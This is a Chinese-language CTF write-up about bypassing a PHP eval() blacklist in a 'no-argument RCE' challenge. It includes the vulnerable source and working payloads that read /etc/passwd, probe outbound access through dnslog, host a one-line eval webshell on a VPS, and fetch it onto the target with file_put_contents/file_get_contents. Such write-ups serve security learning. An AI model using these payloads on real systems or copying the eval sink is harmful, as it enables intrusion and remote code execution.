在某个新生赛里碰到一个名叫:"无参**"的题 正好遇到了之前没用过的方法去写这道题
开题的登陆不必多说 记录一下想办法rce的过程

提示要传入特定rce函数 然后名字又叫无参 试了一堆函数 有各种各样的回显
一开始以为 只有回显:不可以哒!才是waf拦的 其他就不是了
但是后来把比如 popen() 的一些函数试试 回显:还差一点哦!
这里刚开始以为popen是可以执行的 但尝试了一些rce的方法后 发现并没有啥卵用
所以就开始怀疑这东西是不是ban的东西 有其他回显
测了一下:
?exp=var_dump('1');

注意到了 成功执行命令是会回显出命令已执行 然后执行是有输出的
这里测出来 可以用的函数: readfile()file_get_contents()var_dump()
用var_dump()配合 file_get_contents() 尝试读取文件
?exp=var_dump(file_get_contents("/etc/passwd"));

成功读取到文件 但是在根目录猜着读/flag 失败了
然后就想着看看一些常见目录文件读取一下
读/var/www/html/index.php 拿到了关键php源码 感兴趣可以看看具体过了些啥
<?php
include "flag.php";
echo "flag在哪里呢?,请告诉我<br>";
if (isset($_GET['exp'])) {
// 防止直接文件包含
if (preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
die("别想读flag");
}
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log|read|file|dir|open|scandir|var|loc|conv|rot/i', $_GET['exp'])){
die("不可以哒!");
}
// 防止直接函数调用
if (preg_match('/[a-zA-Z_]+ $/', $_GET['exp'])) {
die("再好好想想!");
}
// 防止敏感函数调用
$forbidden_functions = [
'eval', 'assert', 'create_function', 'call_user_func', 'call_user_func_array', 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec', 'pcntl_fork', 'pcntl_waitpid', 'pcntl_wait','pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'highlight_file', 'readgzfile', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'pcntl_wexitstatus', 'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_wifcontinued', 'pcntl_wifsignaled', 'pcntl_wifstopped', 'pcntl_wifexited', 'preg_replace', 'ereg_replace', 'str_replace', 'strtr', 'str_rot13', 'base64_decode', 'urldecode', 'chr', 'ord', 'unpack', 'pack', 'gzinflate', 'gzuncompress', 'gzdecode', 'array_shift', 'show_source'
];
foreach ($forbidden_functions as $func) {
if (stripos($_GET['exp'], $func) !== false) {
die("还差一点哦!");
}
}
// 防止正则表达式绕过
if (preg_match('/preg_replace|ereg_replace/i', $_GET['exp'])) {
die("再好好想想!");
}
if (preg_match('/\$\w+|\b(eval|exec|system|shell_exec|passthru)\b/', $_GET['exp'])) {
die("非法输入!");
}
// 防止字符串拼接绕过
if (preg_match('/\.\s*[a-zA-Z_]+\s* $/', $_GET['exp'])) {
die("再好好想想!");
}
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
die("缺少了一点东西哦");
}
// 防止变量函数调用
if (preg_match('/\$\w+\s* $/', $_GET['exp'])) {
die("再好好想想!");
}
// 如果通过以上检查,则执行代码
@eval($_GET['exp']);
} else {
echo "请输入参数 exp 来尝试获取 flag!";
}
?>
想到 既然可以用file_get_contents()读文件 那为什么不能用file_put_contents() 去写文件呢
测试写一个文件:
exp=file_put_contents('1.txt','this is A test');
然后访问1.txt

成功写入
但是又想起来 如果我要写webshell的话 那些危险函数 或者符号(比如$) 都被ban完了 那应该咋写🐎呢
远程包含一个木马呢
用file_get_contents()测试一下出不出网 我这用dnslog
?exp=var_dump(file_get_contents('http://0807p7.dnslog.cn'));
成功访问到了dnslog 靶机出网

然后就是写一个一句话🐎 然后远程调用再写入
vps上执行:
echo "<?php eval(\$_POST[a]);?>" > 1.php
然后python在当前目录启动http服务
python3 -m http.server 2334
接下来构造payload
我这里用file_put_contents();写马 file_get_contents(); 调用马
如下:
?exp=file_put_contents('1000.php',file_get_contents('http://vps:2334/1.php'));
发包

可以看到靶机成功读了我的1.php
其实也可以本地测一下:
<?php file_put_contents('1000.php',file_get_contents('http://vps:2334/1.php'));?>
执行 然后会发现当前目录直接多了一个一句话木马文件
到这里也就差不多了 访问1000.php rce即可

总的来说就是 在可以使用file_put_contents(); 和file_get_contents();的时候 但是又对许多危险函数与关键字符有过滤的时候可以用这个方法来绕过
就这样
Comments | NOTHING